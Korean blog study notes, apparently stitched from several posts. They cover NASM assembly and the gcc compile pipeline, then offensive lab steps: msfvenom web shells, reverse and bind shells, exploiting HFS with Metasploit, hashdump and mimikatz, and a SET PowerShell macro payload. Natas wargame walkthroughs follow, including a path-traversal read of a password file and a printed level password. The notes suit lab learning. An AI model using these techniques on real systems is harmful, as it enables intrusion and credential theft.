LOAD off    0x00000098 vaddr 0x08049098 paddr 0x08049098 align 2**12 

9098을 확인해보면 90에서 8번 까지가 헤더 내용이다


여기는 hello 를 표현 하는 부분이다.



이런식으로 바이너리와 어셈블리를 하나하나 비교하면 확인이 가능하다




초기화 데이터의 차이 


char str[]="Hello,World!!";<- 초기화된 데이터 크기를 알아야한다

char str[];<-초기화가 안된 데이터


여기서 data와 bss 의 차이가 나온다 


2. DATA 섹션 ( 세그먼트 )  // 문자열 데이터 출력 

- 읽기/쓰기 가능한 메모리 영역 

- 프로그램 실행에 필요한 데이터  

- 실행 권한이 없다

segment .data

string  db      'hello,world!!!',10,00



3. BSS 섹션( 세그먼트 )

- 읽기/쓰기 가능한 메모리 영역 

- 초기화 되지 않은 데이터 영역 


저번시간에 배운 DATA 섹션은 초기화가 된 데이터가 들어가고 BSS 섹션은 초기화 되지 않은 데이터 영역이 들어간다



NASM 문법은 홈페이지 에서 참조가 가능하다



C언어

1.)데이터 타입

-숫자(정수,실수),문자,문자열




nasm 숫자를 표현하는 방법 





10진수

1.아무 숫자 없이 사용

2.d를 붙여서 사용


16진수

1.h를 붙여서 사용 

2.앞에 Ox 붙여서 사용


8진수

1.q를 붙여서 사용

2.o를 붙여서 사용


2진수 

1.b를 붙여서 사용




nasm 문자 표현 하는 방법


segment .data

string  db      'hello,world!!!',10,00  //여기서 10은 new line을 표현해준다,문자열은 null로 끝나야해서 00을 추가해야한다


열거형으로 사용이 가능하다

string  db      'h','e','l','l','o',10,00


기본 구조

label:    instruction operands        ; comment



2.)레이블 Vs. 변수


1).변수

-값,주소,크기

-int var = 10;


2).레이블은 주소 대신에 이름표를 붙인다는 의미

    주소를 매번 계산하기가 어렵기 때문에 주소를 나타내는 이름표를 사용한다. 

    쓰는건 문자열을 쓰지만 실제로는 주소를 쓴다


변수와 레이블은 전혀 다른 개념이다.


entry point

segment .text

global _start

_start: //명령어의 시작 위치 

mov eax, 4

mov ebx, 1

mov ecx, string

mov edx, 16

int 0x80


_start 는 entry point 이다.



extern printf

segment .data

string  db      'hello,world!!!',10,00

segment .text

global main


main:

        push string

        call printf


gcc를 쓰는 경우에는  entry point가 main이 되어야 한다.


그래서 레이블을 중복해서 사용할수 없다 

extern printf

segment .data

string  db      'hello,world!!!',10,00

string  db      'hello!!!',10,00

//이런식으로 사용이 불가능하고 

string2  db      'hello!!!',10,00

//이렇게 사용해야한다 

레이블 이름을 붙이는건 변수이름 지정하는거랑 비슷하다




segment .text

global main


main:

        push string

        call printf



3.데이터의 크기

1).접두사: d, res

데이터에다가 쓰는경우는 d, bss에 사용하는 경우는 res를 사용한다



2).단위

byte unit C

1 (b)yte char

2 (w)ord short

4 (d)word int, float, pointer, ...

8 (q)word long long,double..

10 (t)enbyte


db,dw,dd,dq,dt 이렇게 사용이 가능하다


C언어로 표현하면 

string  db      'hello,world!!!',10,00    ;char string[]="hello, world\n"


BSS 섹션( 세그먼트 )

- 읽기/쓰기 가능한 메모리 영역 

- 초기화 되지 않은 데이터 영역 

segment .bss

buffer resb 1024 ;char buffer[1024];


ex) int apple =10;

segment .data

apple dd 10


ex) int orange;

segment .bss

buffer resd 1


명령어


main:

        ;printf("hello, world!!!\n")

        push string //인자의 개수와 push 의 개수는 일치해야한다. string(주소)만 입력을 해주면 된다.

        call printf //printf 를 호출


        ;printf("num of apple: %d\n",apple)

        push dword [apple]

        push prompt

        call print

        

        인자가 여러개인 경우에는 뒤에서 부터 수행하면된다 push,push,call

        사용할 함수는 extern을 꼭 해야한다



실습


(0)_(0)(0)_(0)

(=^.^=)(*^.^*)

(_m_m)(_m_m_)

만들기 


extern printf

segment .data

string1 db     '%s%s%s',10,00

string2 db     '(0)_(0)(0)_(0)',10,00

string3 db     '(=^.^=)(*^.^*)',10,00

string4 db     '(_m_m)(_m_m_)',10,00

segment .text

global main


main:

        push string4

        push string3

        push string2

        push string1

        call printf



역순으로 PUSH후 CALL을 해주어야 한다



















[시스템 해킹] Compile


1.C 프로그램 

   -visual studio (컴파일러 아님),이클립스

-IDE: 통합 개발 환경 [컴파일러+편집기+디버거+...])

-Compiler:GCC

-editor:vi

-debugger:GDB


바이너리란?

-실행파일 우리가 흔히 보는 윈도우즈의 .exe 확장자의 실행파일이라고 생각하면 된다.

-0과 1로 되어 있는 기게어로 번역되있는 파일이다.


프로그래밍된 코드가 어떻게 기게어로 번역되는지 이런 과정을 크게 Compile 이라고 한다.

hello.c 파일 생성(* gcc는 확장자를 보기 때문에 파일 이름 뒤에 .c를 붙여줘야한다.)




#include <stdio.h>


int main()

{

printf("Hello,world\n");

return 0;

}



  컴파일:gcc hello.c

        실행:./a.out(실행파일 이름 정의 gcc -o Hello hello.c




2.컴파일 과정

컴파일 :gcc가 소스 코드를 불러와서 실행파일을 만들어주는 걸 컴파일 과정이라고 한다.



#>gcc -v hello.c (소스파일 컴파일 과정을 자세하게 보여준다)


 총 4개의 명령어가 쓰고있다- cpp cc1 as collect2 

 

 1).전처리 단계:cpp ( C PreProcess) 

sample.c /tmp/ccmsu4yd.i 이 보이는데 sample.c를 임시디렉터리에 .i파일을 만드는 과정이다.

하지만 /tmp 디렉토리에 들어가면 .i 파일을 확인할 수 없는데 그 이유는 컴파일이 끝나면 삭제시키기 때문이다. 


우리는 이 파일들을 보면서 확인할 것이므로 이러한 파일들이 삭제되지 않는 추가적인 옵션을 주어야한다.

-save-temps 옵션을 주어 임시파일 .i 파일을 삭제 하지 않게 하겠다.


그럼 hello.i hello.o hello.s 파일이 만들어진다

전처리 파일은 hello.i 이다 

-매크로

-해더파일



#define NUMBER 1000

int main()

{

        printf("Hello,world\n");

        printf("%d\n",NUMBER);

        return 0;

}


변경하고 다시 컴파일 해보면 차이를 느낄수 있다.  

- define 문장이 사라지고 소스코드 안에 썻던 define이 1000(우리가 설정했던 값)

으로 모두 치환되어 있는 것을 확인 할 수 있다.

-> 바로 이게 전처리기의 역할이다.



 2).컴파일 단계:cc1

 

소스파일->컴파일(어셈블리어)->기계어(binary)

컴파일 과정은 소스파일에서 어셈블리어로 바꾸는걸 말한다


왜 어셈블리어로 바꿔야 하는가?

우리가 보통 사용하는 C코드를 기계어로 바로 바꾸지 못한다. 그래서 어셈블리어로 먼저 바꾼다음 기계어로 바꿔야한다.


 !! 소프트웨어 공학(Software Engineering)

 기획->설계->구현->배포->유지보수

 

 !!리버싱은 반대로 한다

 기계어(binary)->어셈블리어->소스파일


  3).어셈블로 단계:as

목적 파일 생성(바이너리)

as -V -Qy -o /tmp/ccs3N70j.o /tmp/cc0q9vPg.s


as : 어셈블러를 뜻한다. 즉 as 명령으로 -o옵션으로 .s파일을 .o 파일로 만든다.

.o 파일 (기계어로 뽑아낸 파일, 오브젝트 파일)


 4).링크:collect2,ld

실행에 필요한 라이브러리를 합쳐준다.

/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/collect2 -m elf_i386 -dynamic-linker /lib/ld-linux.so.2 /usr/lib/crt1.o /usr/lib/crti.o /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtbegin.o -L/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66 -L/usr/i386-redhat-linux/lib /tmp/ccs3N70j.o -lgcc -lc -lgcc /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtend.o /usr/lib/crtn.o

: 오브젝트 파일과 라이브러리 오브젝트를 전부 합쳐서 하나의 실행파일로 만든다.



1.C 라이브러리를 이용한 어셈블리 프로그램 

nasm을 이용해서 작성

nasm 에서 ; 은 주석


#>vi hello.asm


extern printf


segment .data

string  db      'hello,world!!!',10,00


segment .text

global main


main:

        push string

        call printf


#>nasm -f elf -o hello.o hello.asm

#>gcc -o hello hello.o

이렇게 두번 해주는 이유는 우선 asm을 목적 파일로 변경해주는 역할을 해야해서 이고

extern printf  C라이브러리 사용하기 위해서 gcc로 컴파일을 다시 해주어야 한다.


결과 값을 확인해보면 

C코드와 동일한 결과값이 출력된다.



!! 어셈블리 프로그래밍-> 각각의 세그먼트를 직접 지정


실행파일을 메모리에 올릴때 어떤 세그먼트에 값이 올라갈지 알아야한다

실행파일 구조를 만들어야한다. (ELF 구조 )



 리눅스는 커널메모리1기가 + 프로세스 3기가

커널 메모리에는 접근하지 못한다. 

프로세스는 영역을 나눈다


1. text 섹션 ( 세그먼트 )

- 실행 가능한 메모리 영역 

- 읽기전용

- 명령어들이 들어있다.

push string

        call printf



2. DATA 섹션 ( 세그먼트 )  // 문자열 데이터 출력 

- 읽기/쓰기 가능한 메모리 영역 

- 프로그램 실행에 필요한 데이터  

- 실행 권한이 없다

segment .data

string  db      'hello,world!!!',10,00



3. BSS 섹션( 세그먼트 )

- 읽기/쓰기 가능한 메모리 영역 

- 초기화 되지 않은 데이터 영역 


4. 스택

- 파일 상에는 나타나지 않는다.



파일의 크기가 gcc 컴파일로 사용하는것과 어셈블리로 컴파일 하는것과 차이가 난다

a.out 파일과 hello2 파일의 크기가 차이가난다




xxd hello.c 를 사용하면 바이너리로 볼수있다

objdump 를 이용해서 헤더 구조를 확인할 수 있다.



objdump -x hello2

Program Header:

    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12

         filesz 0x00000096 memsz 0x00000096 flags r-x

    LOAD off    0x00000098 vaddr 0x08049098 paddr 0x08049098 align 2**12

         filesz 0x00000010 memsz 0x00000010 flags rw-





2.오리진 어셈블리 프로그램



segment .data

string  db      'hello,world!!!',10,00


segment .text

global _start


_start:

        mov     eax,    4

        mov     ebx,    1

        mov     ecx,    string

        mov     edx,    16

        int     0x80




#>nasm -f elf -o hello2.o hello2.asm

#>ld -o hello2 hello2.o




 

 

 

 

 



- 실습 환경


  - Red Hat Linux 6.2


    * 부팅시마다 LILO BOOT에서 linux-up을 입력해줘야 한다.


1.부팅


LILO boot:linux-up

vi /etc/sysconfig network 로 이름 변경 

!! pause 기능은 사용하지 말고 정상적으로 poweroff 해서 종료



2.실습도구


-GCC:C 컴파일러( GNU C Complier)

-GAS( GNU Assembler),NASM(Netwired ASM) 어셈블러

-GDB(바이너리 분석 도구)

!! 만약 network환경이 고장난 경우 VMWARE Edit -> 초기화 버튼 클릭(운영체제 종료 후에)

!! 실습환경 운영체제를 Red Hat Linux6.2를 사용하기 때문에 nasm은 제일 낮은 버전인 0.99.05를 설치했다.

NASM 다운로드


http://www.nasm.us/ 홈페이지 접속

#> wget http://www.nasm.us/pub/nasm/releasebuilds/0.99.05/nasm-0.99.05.tar.gz

#> tar xvfz nasm-0.99.05.tar.gz

#> cd nasm-0.99.05

#> ./configure

#> make

#> make install

#> cp nasm /usr/bin/



3.원격 쉘



1) vi /etc/securetty

pts/0~9 까지 만들기 

2) PAM: cd /etc/pam.d

# auth required /lib/security/pam_securetty.so


   * 위 내용을 해당 파일에 추가 시켜주기만 하면 다음 부팅시부터 Telnet을 이용한 원격접속이 가능하다.

msfvenom - msfpayload + msfencoder 을 이용하여 웹쉘을 생성한다






웹쉘이 있으면 핸들러가 꼭 필요하다


핸들러 생성을 위해 msfconsole을 사용한다







실행시키고 핸들러를 생성 시켜주면 된다.


공식 개념으로 외워서 사용하면 편하다




바인드<->리버스 개념을 확실히 알고 가야한다 (개념 다시 정리)


바인드:공격자가 대상자에게 직접적인 공격을 가하는거(방화벽에서 차단되기 때문에 잘 사용을 못한다)

리버스:대상자가 공격자에게 직접 붙게하는거



리버스 쉘

리버스 쉘은 공격 대상이 공격자에게 통신하도록 만드는 쉘이다. 공격자는 코드나 커맨드 실행의 성공 후 발생하는 연결을 수신할 리스너 포트를 가져야 한다.



그림 1: 리버스 TCP 쉘


바인드 쉘

바인드 쉘은 공격 대상이 자신의 호스트에 리스너 포트를 열고 들어오는 연결 요청을 대기하게 만드는 쉘이다. 공격자는 공격 대상의 리스닝 포트에 접속하여 추가적인 코드나 커맨드를 실행할 수 있게 된다.



그림 2: 바인드 TCP 쉘


실습을 위해 비박스에 파일업로드 취약점 부분에 생성한 웹쉘을 업로드 한다


웹쉘을 파일을 업로드하면 연결된걸 확인할 수 있다.



윈도우 대상으로 취약점을 조사하기위해서 portfwd를 이용해서 연결시켜준다


meterpreter를 획득하는게 가장 쉽다(포트포워딩)



portfwd add -l 8888 -p 80 -r 192.168.74.133






접속된걸 확인할 수있다.



hfs 서버 취약점 점검 하기

hfs 서버를 왜 이용하는지 이건 뭔지 조사하기 

()




https://www.exploit-db.com/exploits/34668/

exploit-db에 올라온 hfs 취약점을 확인해보면



칼리리눅스에서 윈도우 ip로 접근해 공격 코드를 삽입하게 되면



cmd 창을 켤서 공격이 가능하다





다음은 msf를 이용하여 hfs 취약점으로 공격을 해보면



순서대로  

1.search hfs

2.use exploit/windows/http/rejetto_hfs_exec

3.set RHOST 대상IP

4.set RPORT 80

5.exploit


하면 meterpreter 로 연결된걸 확인할 수 있다.



밑에서 부터는 공격 예시 






screenshot도 가능하고

hashdump 하면 계정 정보도 출력이 가능하다




계정 정보를 hash 값 말고 평문으로 확인하고 싶으면


load mimikatz

load powershell 






이렇게 접속하여 주면 된다




이제 사용자 대상으로 접근해보면

1) cd /usr/share/set


2) ./setoolkit


많은 메뉴의 공격 방법이 있다





1번을 살펴보면 

1누르고 엔터




9번의 파워쉘을 사용하고



1번을 사용하였다

그럼 DNS reverse host 를 입력하라고 나오는데 칼리 리눅스 ip주소를 입력후

그뒤는 기본값을 원하니까 엔터를 입력해준다


listenser를 사용한다고 yes를 눌러준다




그리고 만들어진 파일을 확인해보면 확인을 할 수 있다.



만들어진 파워 쉘을 html 밑에 powershell.txt 로 복사해서 만들어주면 




만들어서 메크로 실행하면 파워쉘이 실행된다 !





natas7




당장 확인할 수 있는 소스코드도 없고 입력창도 없다



여기서 알아둬야할 사전 지식은 

natas의 모든 비밀번호는 



 All passwords are also stored in /etc/natas_webpass  이 파일에 존재한다




그래서 파라미터를 조작할수 있는 page 변수에 page=/etc/natas_webpass/natas8 파일 경로를 입력해보니 값이 출력 되었다




'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] level8->level9  (0) 2018.01.17
overthewire.org[natas] level7->level8  (0) 2018.01.17
overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05

natas6




소스코드에 secret을 입력하면 비밀번호가 나오는거 같다 

옆에 친절하게 View sourcecode 가 있어서 클릭해 보았더니


한번더 친절하게 include 함수를 통해 파일경로를 알려줬다.






알려준 파일경로 /includes/secret.inc 를 접속해 보면 




secret 값이 출력되고  값을 직접 입력하니까 비밀번호가 출력되었다















'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] level7->level8  (0) 2018.01.17
overthewire.org[natas] level6->level7  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04

natas 5




접근 권한이 없어 로그인 할수 가 없다고한다

loggedin=0 을 1로 수정해주면 답이 출력된다







loggedin=1로 변조해준다.







'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] level6->level7  (0) 2018.01.05
overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve1->leve2  (0) 2018.01.04

natas4



문제가 http://natas5.natas.labs.overthewire.org/ 여기에서 온것만 인증해준다고 한다


버프스위트를 통해서 Referer 값만 조작해주면 값이 출력된다 










'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve1->leve2  (0) 2018.01.04
overthewire.org[natas] leve0->leve1  (0) 2018.01.04

NATAS3



역시나 아무것도 출력이 안된다고 한다.


숨겨진 파일이 있나 소스보기를 통해 검색해봤더니


이번엔 아무 힌트, 파일도 없었다.



robots.txt 파일을 살펴볼 필요가 있다


robots.txt란?


  robots.txt는 로봇 배제 규약(robots exclusion protocol) 혹은 robots.txt 규약(robots.txt protocol)으로 알려진 규약으로서 웹 크롤러(Web Crawlers)에게 해당 웹사이트에 대한 크롤링 지침을 전달하기 위한 용도로 사용됩니다.





 위에서 작성한 것처럼 robots.txt 자체는 보안과 별로 관련이 없다는 것을 알 수 있습니다. 다만 접근 제어를 실수했을 경우를 대비해서 검색결과에 누출되는 등과 같은 광범위한 누출을 방지하기 위해서 작성해 놓아도 무방할 듯 합니다. 하지만 그 내용은 공개되지 않는 영역의 구조를 파악할 수 없도록 잘 확인해야 합니다. 혹은 META 태그를 이용하여 해당 페이지에 직접 기술하는 방법도 유용할 듯 합니다.



출처: http://reiphiel.tistory.com/entry/robotstxt-security [레이피엘의 블로그]




접속해서 경로를 확인한 뒤 







비밀번호를 확인할 수 있다.





'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve1->leve2  (0) 2018.01.04
overthewire.org[natas] leve0->leve1  (0) 2018.01.04

NATAS2


접속하니까 아무페이지도 출력되지 않는다고 나온다. 웹 페이지의 소스를 확인해서 정보를 찾았더니 


눈에는 보이지 않는 이미지 파일이 있는걸 확인할 수 있었다,


파일의 경로를 확인해보니까 files안에 이미지 파일이 존재했다 


files 디렉토리를 직접 접근이 가능해 안에 파일을 확인해보니까 users.txt에 비밀번호가 숨겨져 있었다




'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve0->leve1  (0) 2018.01.04


NATAS1


natas1 번은 우클릭이 막혀있는 웹 페이지 이다

페이지 소스보기를 하지 못하게 막아둔거 같으니까 F12를 통해 개발자 도구를 들어간다. 


주석 처리된 비밀번호를 확인할 수 있다.!

비밀번호:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mB


'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve1->leve2  (0) 2018.01.04

+ Recent posts